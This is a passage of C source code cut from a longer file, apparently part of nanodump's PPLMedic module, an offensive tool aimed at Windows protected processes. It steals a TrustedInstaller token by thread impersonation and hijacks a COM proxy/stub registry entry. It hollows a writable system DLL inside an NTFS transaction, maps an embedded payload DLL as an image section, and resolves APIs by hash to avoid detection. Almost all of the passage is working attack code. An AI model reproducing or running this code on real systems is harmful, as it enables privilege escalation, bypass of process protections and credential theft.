TRUE;\n\ncleanup:\n    if (ProxyStubDllLoadEventName)\n        intFree(ProxyStubDllLoadEventName);\n\n    return ret_val;\n}\n\nBOOL delete_type_lib(\n    IN LPWSTR TypeLibPath)\n{\n    BOOL ret_val = FALSE;\n    BOOL success = FALSE;\n\n    DeleteFileW_t DeleteFileW = NULL;\n\n    DeleteFileW = (DeleteFileW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        DeleteFileW_SW2_HASH,\n        0);\n    if (!DeleteFileW)\n    {\n        api_not_found(\"DeleteFileW\");\n        goto cleanup;\n    }\n\n    success = DeleteFileW(TypeLibPath);\n    if (!success)\n    {\n        function_failed(\"DeleteFileW\");\n        goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n\n    if (!ret_val)\n    {\n        DPRINT_ERR(\"Failed to delete custom TypeLib file: %ls\", TypeLibPath);\n    }\n\n    return ret_val;\n}\n\nBOOL unlock_plugin_dll(\n    IN HANDLE WaaSMedicCapsuleHandle)\n{\n    BOOL ret_val = FALSE;\n    BOOL success = FALSE;\n\n    UnlockFile_t UnlockFile = NULL;\n\n    if (!WaaSMedicCapsuleHandle)\n        return TRUE;\n\n    UnlockFile = (UnlockFile_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        UnlockFile_SW2_HASH,\n        0);\n    if (!UnlockFile)\n    {\n        api_not_found(\"UnlockFile\");\n        goto cleanup;\n    }\n\n    success = UnlockFile(WaaSMedicCapsuleHandle, 0, 0, 4096, 0);\n    if (!success)\n        goto cleanup;\n\n    ret_val = TRUE;\n\ncleanup:\n    if (!ret_val)\n    {\n        DPRINT_ERR(\"Failed to unlock Plugin DLL\");\n    }\n\n    return ret_val;\n}\n\nVOID free_directory_list(\n    IN PFILE_LIST head)\n{\n    PFILE_LIST elem = NULL;\n\n    elem = head;\n    while (elem)\n    {\n        head = elem->Next;\n        intFree(elem);\n        elem = head;\n    }\n}\n\nBOOL cleanup_temp_directories(\n    IN PFILE_LIST TemporaryDiretoriesBefore,\n    IN PFILE_LIST TemporaryDiretoriesAfter)\n{\n    BOOL       ret_val             = FALSE;\n    BOOL       success             = FALSE;\n    LPWSTR     pwszDirectoryPath   = NULL;\n    LPWSTR     pwszWindowsTempPath = NULL;\n    PFILE_LIST elem_before         = NULL;\n    PFILE_LIST elem_after          = NULL;\n    ULONG32    dirs_to_delete      = 0;\n\n    if (!TemporaryDiretoriesAfter)\n        goto cleanup;\n\n    success = get_windows_temp_directory(&pwszWindowsTempPath);\n    if (!success)\n        goto cleanup;\n\n    pwszDirectoryPath = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszDirectoryPath)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    elem_after = TemporaryDiretoriesAfter;\n\n    while (elem_after)\n    {\n        elem_after->Existed = FALSE;\n        elem_before = TemporaryDiretoriesBefore;\n        while (elem_before)\n        {\n            if (!wcscmp(elem_after->FileName, elem_before->FileName))\n            {\n                elem_after->Existed = TRUE;\n                break;\n            }\n            elem_before = elem_before->Next;\n        }\n\n        if (!elem_after->Existed)\n            dirs_to_delete++;\n\n        elem_after = elem_after->Next;\n    }\n\n    if (dirs_to_delete > 0)\n    {\n        DPRINT(\"Deleting %d temporary directories created by the service...\", dirs_to_delete);\n\n        elem_after = TemporaryDiretoriesAfter;\n\n        while (elem_after)\n        {\n            if (!elem_after->Existed)\n            {\n                swprintf_s(pwszDirectoryPath, MAX_PATH, L\"%ws\\\\%ws\", pwszWindowsTempPath, elem_after->FileName);\n\n                if (!delete_directory(pwszDirectoryPath))\n                {\n                    ret_val = FALSE;\n                }\n            }\n\n            elem_after = elem_after->Next;\n        }\n    }\n\ncleanup:\n    safe_free((PVOID*)&pwszWindowsTempPath);\n    safe_free((PVOID*)&pwszDirectoryPath);\n\n    return ret_val;\n}\n\nBOOL is_proxy_stub_dll_loaded(\n    IN HANDLE ProxyStubDllLoadEventHandle)\n{\n    WaitForSingleObject_t WaitForSingleObject = NULL;\n\n    WaitForSingleObject = (WaitForSingleObject_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        WaitForSingleObject_SW2_HASH,\n        0);\n    if (!WaitForSingleObject)\n    {\n        api_not_found(\"WaitForSingleObject\");\n        return FALSE;\n    }\n\n    return WaitForSingleObject(ProxyStubDllLoadEventHandle, 0) == WAIT_OBJECT_0;\n}\n\nBOOL enumerate_temporary_directories(\n    OUT PFILE_LIST* pfile_list)\n{\n    BOOL             ret_val           = FALSE;\n    BOOL             success           = FALSE;\n    WIN32_FIND_DATAW FindData          = { 0 };\n    LPWSTR           pwszSearchPattern = NULL;\n    HANDLE           hFind             = NULL;\n    PFILE_LIST       file_list         = NULL;\n    PFILE_LIST       current_file      = NULL;\n\n    FindFirstFileW_t FindFirstFileW = NULL;\n    FindNextFileW_t  FindNextFileW  = NULL;\n    FindClose_t      FindClose      = NULL;\n\n    FindFirstFileW = (FindFirstFileW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        FindFirstFileW_SW2_HASH,\n        0);\n    if (!FindFirstFileW)\n    {\n        api_not_found(\"FindFirstFileW\");\n        goto cleanup;\n    }\n\n    FindNextFileW = (FindNextFileW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        FindNextFileW_SW2_HASH,\n        0);\n    if (!FindNextFileW)\n    {\n        api_not_found(\"FindNextFileW\");\n        goto cleanup;\n    }\n\n    FindClose = (FindClose_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        FindClose_SW2_HASH,\n        0);\n    if (!FindClose)\n    {\n        api_not_found(\"FindClose\");\n        goto cleanup;\n    }\n\n    if (!pfile_list)\n        return FALSE;\n\n    *pfile_list = NULL;\n\n    success = get_windows_temp_directory(&pwszSearchPattern);\n    if (!success)\n        goto cleanup;\n\n    swprintf_s(pwszSearchPattern, MAX_PATH, L\"%ws\\\\%ws\", pwszSearchPattern, L\"_????????-????-????-????-????????????\");\n\n    if ((hFind = FindFirstFileW(pwszSearchPattern, &FindData)) == INVALID_HANDLE_VALUE)\n    {\n        if (GetLastError() == ERROR_FILE_NOT_FOUND)\n            ret_val = TRUE;\n        else\n        {\n            function_failed(\"FindFirstFileW\");\n        }\n\n        goto cleanup;\n    }\n\n    do\n    {\n        current_file = intAlloc(sizeof(FILE_LIST));\n        if (!current_file)\n        {\n            malloc_failed();\n            goto cleanup;\n        }\n\n        current_file->Next = file_list;\n        file_list          = current_file;\n\n        swprintf_s(current_file->FileName, MAX_PATH, L\"%ws\", FindData.cFileName);\n        //DPRINT(\"current_file->FileName: %ls\", current_file->FileName);\n\n    } while (FindNextFileW(hFind, &FindData));\n\n    *pfile_list = file_list;\n\n    ret_val = TRUE;\n\ncleanup:\n    if (!ret_val)\n    {\n        DPRINT_ERR(\"Failed to enumerate temp directory: %ls\", pwszSearchPattern);\n    }\n\n    if (hFind && hFind != INVALID_HANDLE_VALUE) FindClose(hFind);\n    safe_free((PVOID*)&pwszSearchPattern);\n\n    return ret_val;\n}\n\nBOOL get_waa_s_medic_capsule_path(\n    IN LPWSTR* WaaSMedicCapsulePath)\n{\n    BOOL   ret_val        = FALSE;\n    BOOL   success        = FALSE;\n    LPWSTR pwszModulePath = NULL;\n\n    GetSystemDirectoryW_t  GetSystemDirectoryW  = NULL;\n    GetWindowsDirectoryW_t GetWindowsDirectoryW = NULL;\n    GetFileAttributesW_t   GetFileAttributesW   = NULL;\n\n    GetSystemDirectoryW = (GetSystemDirectoryW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        GetSystemDirectoryW_SW2_HASH,\n        0);\n    if (!GetSystemDirectoryW)\n    {\n        api_not_found(\"GetSystemDirectoryW\");\n        goto cleanup;\n    }\n\n    GetWindowsDirectoryW = (GetWindowsDirectoryW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        GetWindowsDirectoryW_SW2_HASH,\n        0);\n    if (!GetWindowsDirectoryW)\n    {\n        api_not_found(\"GetWindowsDirectoryW\");\n        goto cleanup;\n    }\n\n    GetFileAttributesW = (GetFileAttributesW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        GetFileAttributesW_SW2_HASH,\n        0);\n    if (!GetFileAttributesW)\n    {\n        api_not_found(\"GetFileAttributesW\");\n        goto cleanup;\n    }\n\n    //\n    // Path on Windows 10: c:\\windows\\System32\\WaaSMedicCapsule.dll\n    // Path on Windows 11: c:\\windows\\UUS\\amd64\\WaaSMedicCapsule.dll\n    //\n\n    *WaaSMedicCapsulePath = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!*WaaSMedicCapsulePath)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    pwszModulePath = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszModulePath)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    success = GetSystemDirectoryW(pwszModulePath, MAX_PATH);\n    if (!success)\n    {\n        function_failed(\"GetSystemDirectoryW\");\n        goto cleanup;\n    }\n\n    swprintf_s(pwszModulePath, MAX_PATH, L\"%ws\\\\%ws\", pwszModulePath, STR_WAASMEDIC_CAPSULE);\n\n    if ((GetFileAttributesW(pwszModulePath) == INVALID_FILE_ATTRIBUTES) && (GetLastError() == ERROR_FILE_NOT_FOUND))\n    {\n        success = GetWindowsDirectoryW(pwszModulePath, MAX_PATH);\n        if (!success)\n        {\n            function_failed(\"GetWindowsDirectoryW\");\n            goto cleanup;\n        }\n\n        swprintf_s(pwszModulePath, MAX_PATH, L\"%ws\\\\UUS\\\\amd64\\\\%ws\", pwszModulePath, STR_WAASMEDIC_CAPSULE);\n\n        if ((GetFileAttributesW(pwszModulePath) == INVALID_FILE_ATTRIBUTES) && (GetLastError() == ERROR_FILE_NOT_FOUND))\n        {\n            DPRINT_ERR(\"Failed to determine file path for file: %ls\", STR_WAASMEDIC_CAPSULE);\n            goto cleanup;\n        }\n    }\n\n    swprintf_s(*WaaSMedicCapsulePath, MAX_PATH, L\"%ws\", pwszModulePath);\n    ret_val = TRUE;\n\ncleanup:\n    safe_free((PVOID*)&pwszModulePath);\n\n    return ret_val;\n}\n\nBOOL lock_plugin_dll(\n    IN LPWSTR WaaSMedicCapsulePath,\n    IN OUT PBOOL StatePluginDllLocked,\n    OUT PHANDLE WaaSMedicCapsuleHandle)\n{\n    BOOL ret_val = FALSE;\n    BOOL success = FALSE;\n\n    CreateFileW_t CreateFileW  = NULL;\n    LockFile_t    LockFile     = NULL;\n\n    CreateFileW = (CreateFileW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        CreateFileW_SW2_HASH,\n        0);\n    if (!CreateFileW)\n    {\n        api_not_found(\"CreateFileW\");\n        goto cleanup;\n    }\n\n    LockFile = (LockFile_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        LockFile_SW2_HASH,\n        0);\n    if (!LockFile)\n    {\n        api_not_found(\"LockFile\");\n        goto cleanup;\n    }\n\n    if (!*StatePluginDllLocked)\n    {\n        *WaaSMedicCapsuleHandle = CreateFileW(WaaSMedicCapsulePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n        if (*WaaSMedicCapsuleHandle == INVALID_HANDLE_VALUE)\n        {\n            function_failed(\"CreateFileW\");\n            goto cleanup;\n        }\n        \n        success = LockFile(*WaaSMedicCapsuleHandle, 0, 0, 4096, 0);\n        if (!success)\n        {\n            function_failed(\"LockFile\");\n            goto cleanup;\n        }\n\n        *StatePluginDllLocked = TRUE;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    if (ret_val)\n    {\n        DPRINT(\"Lock: %d\", *StatePluginDllLocked);\n    }\n\n    return ret_val;\n}\n\nBOOL find_proxy_stub_registry_value_path(\n    OUT LPWSTR* ProxyStubRegistryValuePath)\n{\n    BOOL       ret_val            = FALSE;\n    BOOL       success            = FALSE;\n    LPWSTR     pwszRegPath        = NULL;\n    LPWSTR     pwszProxyStubClsid = NULL;\n    RPC_WSTR   InterfaceGuidStr   = NULL;\n    UUID       InterfaceGuid      = IID_TASKHANDLER;\n    RPC_STATUS rpc_status         = RPC_S_OK;\n\n    UuidToStringW_t  UuidToStringW  = NULL;\n    RpcStringFreeW_t RpcStringFreeW = NULL;\n\n    UuidToStringW = (UuidToStringW_t)(ULONG_PTR)get_function_address(\n        get_library_address(RPCRT4_DLL, TRUE),\n        UuidToStringW_SW2_HASH,\n        0);\n    if (!UuidToStringW)\n    {\n        api_not_found(\"UuidToStringW\");\n        goto cleanup;\n    }\n\n    RpcStringFreeW = (RpcStringFreeW_t)(ULONG_PTR)get_function_address(\n        get_library_address(RPCRT4_DLL, TRUE),\n        RpcStringFreeW_SW2_HASH,\n        0);\n    if (!RpcStringFreeW)\n    {\n        api_not_found(\"RpcStringFreeW\");\n        goto cleanup;\n    }\n\n    //\n    // HKLM\\SOFTWARE\\Classes\\Interface\\{839D7762-5121-4009-9234-4F0D19394F04}\\ProxyStubClsid32\n    //      (Default) -> {9C86F320-DEE3-4DD1-B972-A303F26B061E}\n    // HKLM\\SOFTWARE\\Classes\\CLSID\\{9C86F320-DEE3-4DD1-B972-A303F26B061E}\\InprocServer32\n    //      (Default) -> C:\\Windows\\System32\\TaskSchdPS.dll\n    //\n\n    *ProxyStubRegistryValuePath = intAlloc(MAX_PATH + 1);\n    if (!*ProxyStubRegistryValuePath)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    pwszRegPath = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszRegPath)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    rpc_status = UuidToStringW(&InterfaceGuid, &InterfaceGuidStr);\n    if (rpc_status != RPC_S_OK)\n    {\n        function_failed(\"UuidToStringW\");\n        goto cleanup;\n    }\n\n    swprintf_s(pwszRegPath, MAX_PATH, L\"SOFTWARE\\\\Classes\\\\Interface\\\\{%ws}\\\\ProxyStubClsid32\", (LPWSTR)InterfaceGuidStr);\n\n    success = get_registry_string_value(HKEY_LOCAL_MACHINE, pwszRegPath, NULL, &pwszProxyStubClsid);\n    if (!success)\n        goto cleanup;\n\n    swprintf_s(*ProxyStubRegistryValuePath, MAX_PATH, L\"SOFTWARE\\\\Classes\\\\CLSID\\\\%ws\\\\InprocServer32\", pwszProxyStubClsid);\n\n    ret_val = TRUE;\n\ncleanup:\n    if (InterfaceGuidStr) RpcStringFreeW(&InterfaceGuidStr);\n    safe_free((PVOID*)&pwszProxyStubClsid);\n    safe_free((PVOID*)&pwszRegPath);\n\n    return ret_val;\n}\n\nBOOL get_proxy_stub_orig_path(\n    IN LPWSTR ProxyStubRegValuePath,\n    OUT LPWSTR* ProxyStubOrigPath)\n{\n    BOOL   ret_val           = FALSE;\n    BOOL   success           = FALSE;\n    LPWSTR pwszProxyStubPath = NULL;\n\n    *ProxyStubOrigPath = intAlloc(MAX_PATH + 1);\n    if (!*ProxyStubOrigPath)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    success = get_registry_string_value(HKEY_LOCAL_MACHINE, ProxyStubRegValuePath, NULL, &pwszProxyStubPath);\n    if (!success)\n        goto cleanup;\n\n    swprintf_s(*ProxyStubOrigPath, MAX_PATH, L\"%ws\", pwszProxyStubPath);\n\n    ret_val = TRUE;\n\ncleanup:\n    safe_free((PVOID*)&pwszProxyStubPath);\n\n    return ret_val;\n}\n\nBOOL modify_proxy_stub_registry_value(\n    IN HANDLE hTI,\n    IN LPWSTR ProxyStubRegValuePath,\n    IN LPWSTR HijackedDllName,\n    OUT PBOOL StateRegProxyStubModified)\n{\n    BOOL ret_val       = FALSE;\n    BOOL success       = FALSE;\n    BOOL bImpersonated = FALSE;\n\n    RevertToSelf_t RevertToSelf = NULL;\n\n    RevertToSelf = (RevertToSelf_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        RevertToSelf_SW2_HASH,\n        0);\n    if (!RevertToSelf)\n    {\n        api_not_found(\"RevertToSelf\");\n        return FALSE;\n    }\n\n    if (StateRegProxyStubModified)\n        *StateRegProxyStubModified = FALSE;\n\n    success = impersonate(hTI);\n    if (!success)\n        goto cleanup;\n    bImpersonated = TRUE;\n\n    success = set_registry_string_value(HKEY_LOCAL_MACHINE, ProxyStubRegValuePath, NULL, HijackedDllName);\n    if (!success)\n        goto cleanup;\n\n    if (StateRegProxyStubModified)\n        *StateRegProxyStubModified = TRUE;\n\n    ret_val = TRUE;\n\ncleanup:\n    if (bImpersonated) RevertToSelf();\n    if (!ret_val)\n    {\n        DPRINT_ERR(\"Failed to write Proxy/Stub DLL to registry: %ls\", ProxyStubRegValuePath);\n    }\n\n    return ret_val;\n}\n\nBOOL create_dummy_dll_file(\n    IN LPWSTR HijackedDllName,\n    OUT PHANDLE DummyDllFileHandle)\n{\n    BOOL   ret_val      = FALSE;\n    BOOL   success      = FALSE;\n    LPWSTR pwszFilePath = NULL;\n    HANDLE hFile        = NULL;\n\n    CreateFileW_t          CreateFileW          = NULL;\n    GetWindowsDirectoryW_t GetWindowsDirectoryW = NULL;\n\n    CreateFileW = (CreateFileW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        CreateFileW_SW2_HASH,\n        0);\n    if (!CreateFileW)\n    {\n        api_not_found(\"CreateFileW\");\n        goto cleanup;\n    }\n\n    GetWindowsDirectoryW = (GetWindowsDirectoryW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        GetWindowsDirectoryW_SW2_HASH,\n        0);\n    if (!GetWindowsDirectoryW)\n    {\n        api_not_found(\"GetWindowsDirectoryW\");\n        goto cleanup;\n    }\n\n    pwszFilePath = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszFilePath)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    success = GetWindowsDirectoryW(pwszFilePath, MAX_PATH);\n    if (!success)\n    {\n        function_failed(\"GetWindowsDirectoryW\");\n        goto cleanup;\n    }\n\n    if (wcslen(pwszFilePath) < 2)\n        goto cleanup;\n\n    pwszFilePath[2] = L'\\0';\n    swprintf_s(pwszFilePath, MAX_PATH, L\"%ws\\\\%ws\", pwszFilePath, HijackedDllName);\n\n    //\n    // Be careful here, the loader will try to open the file with Read+Delete share mode. So, we must\n    // not request write access to the file, otherwise the call (on the target service side) will fail\n    // with an ERROR_SHARING_VIOLATION error.\n    //\n    hFile = CreateFileW(\n        pwszFilePath,\n        GENERIC_READ | DELETE,\n        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,\n        NULL,\n        CREATE_ALWAYS,\n        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE,\n        NULL);\n    if (hFile == INVALID_HANDLE_VALUE)\n    {\n        function_failed(\"CreateFileW\");\n        goto cleanup;\n    }\n\n    \n    *DummyDllFileHandle = hFile;\n    ret_val = TRUE;\n\ncleanup:\n    if (!ret_val)\n        safe_close_handle(&hFile);\n\n    safe_free((PVOID*)&pwszFilePath);\n\n    return ret_val;\n}\n\nBOOL map_payload_dll(\n    IN unsigned char nanodump_ppl_medic_dll[],\n    IN unsigned int nanodump_ppl_medic_dll_len,\n    IN LPWSTR HijackedDllName,\n    IN LPWSTR HijackedDllSectionPath,\n    OUT LPWSTR* HollowedDllPath,\n    OUT PHANDLE DllSectionHandle)\n{\n    BOOL              ret_val         = FALSE;\n    BOOL              success         = FALSE;\n    HANDLE            hTransaction    = NULL;\n    HANDLE            hFileTransacted = NULL;\n    LPVOID            pDllData        = NULL;\n    DWORD             dwDllSize       = 0;\n    UNICODE_STRING    SectionName     = { 0 };\n    OBJECT_ATTRIBUTES oa              = { 0 };\n    NTSTATUS          status          = ERROR_SUCCESS;\n    IO_STATUS_BLOCK   IoStatusBlock   = { 0 };\n\n    CreateFileTransactedW_t  CreateFileTransactedW = NULL;\n\n    CreateFileTransactedW = (CreateFileTransactedW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        CreateFileTransactedW_SW2_HASH,\n        0);\n    if (!CreateFileTransactedW)\n    {\n        api_not_found(\"CreateFileTransactedW\");\n        goto cleanup;\n    }\n\n    pDllData  = nanodump_ppl_medic_dll;\n    dwDllSize = nanodump_ppl_medic_dll_len;\n\n    success = find_writable_system_dll(dwDllSize, HollowedDllPath);\n    if (!success)\n    {\n        DPRINT_ERR(\"Could not find a writeable system DLL\");\n        goto cleanup;\n    }\n\n    memset(&oa, 0, sizeof(oa));\n    oa.Length = sizeof(oa);\n\n    status = NtCreateTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, &oa, NULL, NULL, 0, 0, 0, NULL, NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateTransaction\", status);\n        goto cleanup;\n    }\n\n    hFileTransacted = CreateFileTransactedW(\n        *HollowedDllPath,\n        GENERIC_READ | GENERIC_WRITE,\n        0,\n        NULL,\n        OPEN_EXISTING,\n        FILE_ATTRIBUTE_NORMAL,\n        NULL,\n        hTransaction,\n        NULL,\n        NULL);\n    if (hFileTransacted == INVALID_HANDLE_VALUE)\n    {\n        function_failed(\"CreateFileTransactedW\");\n        goto cleanup;\n    }\n\n    status = NtWriteFile(\n        hFileTransacted,\n        NULL,\n        NULL,\n        NULL,\n        &IoStatusBlock,\n        pDllData,\n        dwDllSize,\n        NULL,\n        NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtWriteFile\", status);\n        goto cleanup;\n    }\n\n    SectionName.Buffer = HijackedDllSectionPath;\n    SectionName.Length = (USHORT)wcslen(SectionName.Buffer) * sizeof(WCHAR);\n    SectionName.MaximumLength = SectionName.Length + 2;\n\n    InitializeObjectAttributes(&oa, &SectionName, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n    status = NtCreateSection(\n        DllSectionHandle,\n        SECTION_ALL_ACCESS,\n        &oa,\n        NULL,\n        PAGE_READONLY,\n        SEC_IMAGE,\n        hFileTransacted);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateSection\", status);\n        goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    safe_close_handle(&hTransaction);\n    safe_close_handle(&hFileTransacted);\n\n    if (ret_val)\n    {\n        DPRINT(\"Section: %ls (handle: 0x%04x)\", HijackedDllSectionPath, (ULONG32)(ULONG_PTR)*DllSectionHandle);\n    }\n\n    if (!ret_val)\n    {\n        DPRINT_ERR(\"Failed to create section: %ls\", HijackedDllSectionPath);\n    }\n\n    return ret_val;\n}\n\nBOOL get_type_lib_orig_path(\n    IN LPWSTR TypeLibRegValuePath,\n    OUT LPWSTR* TypeLibOrigPath)\n{\n    BOOL   ret_val         = FALSE;\n    BOOL   success         = FALSE;\n    LPWSTR pwszTypeLibPath = NULL;\n\n    *TypeLibOrigPath = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!*TypeLibOrigPath)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    success = get_registry_string_value(HKEY_LOCAL_MACHINE, TypeLibRegValuePath, NULL, &pwszTypeLibPath);\n    if (!success)\n        goto cleanup;\n\n    swprintf_s(*TypeLibOrigPath, MAX_PATH, L\"%ws\", pwszTypeLibPath);\n\n    ret_val = TRUE;\n\ncleanup:\n    if (pwszTypeLibPath)\n        intFree(pwszTypeLibPath);\n    if (!ret_val && *TypeLibOrigPath)\n    {\n        intFree(*TypeLibOrigPath);\n        *TypeLibOrigPath = NULL;\n    }\n\n    return ret_val;\n}\n\nBOOL get_trusted_installer_token(\n    OUT PHANDLE hTI)\n{\n    //\n    // https://www.tiraniddo.dev/2017/08/the-art-of-becoming-trustedinstaller.html\n    //\n\n    BOOL                        ret_val        = FALSE;\n    BOOL                        success        = FALSE;\n    BOOL                        bImpersonation = FALSE;\n    DWORD                       dwTiSvcStatus  = 0;\n    DWORD                       dwTiSvcPid     = 0;\n    HANDLE                      hSnapshot      = INVALID_HANDLE_VALUE;\n    HANDLE                      hThread        = NULL;\n    THREADENTRY32               ThreadEntry    = { 0 };\n    SECURITY_QUALITY_OF_SERVICE Qos            = { 0 };\n    NTSTATUS                    status         = STATUS_SUCCESS;\n    CLIENT_ID                   cid            = { 0 };\n    OBJECT_ATTRIBUTES           obj_attr       = { 0 };\n    LPCWSTR ppwszRequiredPrivileges[2] = {\n        L\"SeDebugPrivilege\",\n        L\"SeImpersonatePrivilege\"\n    };\n\n    CreateToolhelp32Snapshot_t CreateToolhelp32Snapshot = NULL;\n    Thread32First_t            Thread32First            = NULL;\n    Thread32Next_t             Thread32Next             = NULL;\n    RevertToSelf_t             RevertToSelf             = NULL;\n\n    InitializeObjectAttributes(&obj_attr, NULL, 0, 0, NULL);\n\n    CreateToolhelp32Snapshot = (CreateToolhelp32Snapshot_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        CreateToolhelp32Snapshot_SW2_HASH,\n        0);\n    if (!CreateToolhelp32Snapshot)\n    {\n        api_not_found(\"CreateToolhelp32Snapshot\");\n        goto cleanup;\n    }\n\n    Thread32First = (Thread32First_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        Thread32First_SW2_HASH,\n        0);\n    if (!Thread32First)\n    {\n        api_not_found(\"Thread32First\");\n        goto cleanup;\n    }\n\n    Thread32Next = (Thread32Next_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        Thread32Next_SW2_HASH,\n        0);\n    if (!Thread32Next)\n    {\n        api_not_found(\"Thread32Next\");\n        goto cleanup;\n    }\n\n    RevertToSelf = (RevertToSelf_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        RevertToSelf_SW2_HASH,\n        0);\n    if (!RevertToSelf)\n    {\n        api_not_found(\"RevertToSelf\");\n        return FALSE;\n    }\n\n    success = check_token_privileges(\n        NULL,\n        ppwszRequiredPrivileges,\n        ARRAY_SIZE(ppwszRequiredPrivileges),\n        TRUE);\n    if (!success)\n        goto cleanup;\n\n    success = get_service_status_by_name(STR_TI_SVC, &dwTiSvcStatus);\n    if (!success)\n        goto cleanup;\n\n    if (dwTiSvcStatus != SERVICE_RUNNING)\n    {\n        DPRINT(\"Starting service %ls...\", STR_TI_SVC);\n        success = start_service_by_name(STR_TI_SVC, TRUE);\n        if (!success)\n            goto cleanup;\n    }\n\n    success = get_service_process_id(STR_TI_SVC, &dwTiSvcPid);\n    if (!success)\n        goto cleanup;\n\n    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);\n    if (hSnapshot == INVALID_HANDLE_VALUE)\n    {\n        function_failed(\"CreateToolhelp32Snapshot\");\n        goto cleanup;\n    }\n\n    memset(&ThreadEntry, 0, sizeof(ThreadEntry));\n    ThreadEntry.dwSize = sizeof(ThreadEntry);\n\n    success = Thread32First(hSnapshot, &ThreadEntry);\n    if (!success)\n        goto cleanup;\n\n    do\n    {\n        if (ThreadEntry.th32OwnerProcessID == dwTiSvcPid)\n        {\n            // TODO: switch to syscall\n            cid.UniqueProcess = (HANDLE)(ULONG_PTR)dwTiSvcPid;\n            cid.UniqueThread  = (HANDLE)(ULONG_PTR)ThreadEntry.th32ThreadID;\n\n            status = NtOpenThread(\n                &hThread,\n                THREAD_DIRECT_IMPERSONATION,\n                &obj_attr,\n                &cid);\n            if (!NT_SUCCESS(status))\n            {\n                syscall_failed(\"NtOpenThread\", status);\n                hThread = NULL;\n            }\n            else\n            {\n                break;\n            }\n        }\n\n    } while (Thread32Next(hSnapshot, &ThreadEntry));\n\n    if (!hThread)\n    {\n        DPRINT_ERR(\"Failed to find a thread handle\");\n        goto cleanup;\n    }\n\n    memset(&Qos, 0, sizeof(Qos));\n    Qos.Length = sizeof(Qos);\n    Qos.ImpersonationLevel = SecurityImpersonation;\n\n    status = NtImpersonateThread(NtGetCurrentThread(), hThread, &Qos);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtImpersonateThread\", status);\n        goto cleanup;\n    }\n\n    bImpersonation = TRUE;\n\n    status = NtOpenThreadToken(\n        NtGetCurrentThread(),\n        TOKEN_IMPERSONATE,\n        FALSE,\n        hTI);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtOpenThreadToken\", status);\n        goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    if (bImpersonation)\n        RevertToSelf();\n    if (hThread)\n        NtClose(hThread);\n    if (hSnapshot)\n        NtClose(hSnapshot);\n\n    return ret_val;\n}\n\nBOOL modify_type_lib_registry_value(\n    IN LPWSTR TypeLibPath,\n    IN LPWSTR TypeLibRegValuePath,\n    IN HANDLE hTI,\n    OUT PBOOL StateRegTypeLibModified)\n{\n    BOOL ret_val       = FALSE;\n    BOOL success       = FALSE;\n    BOOL bImpersonated = FALSE;\n\n    RevertToSelf_t RevertToSelf = NULL;\n\n    RevertToSelf = (RevertToSelf_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        RevertToSelf_SW2_HASH,\n        0);\n    if (!RevertToSelf)\n    {\n        api_not_found(\"RevertToSelf\");\n        return FALSE;\n    }\n\n    if(StateRegTypeLibModified)\n        *StateRegTypeLibModified = FALSE;\n\n    success = impersonate(hTI);\n    if (!success)\n    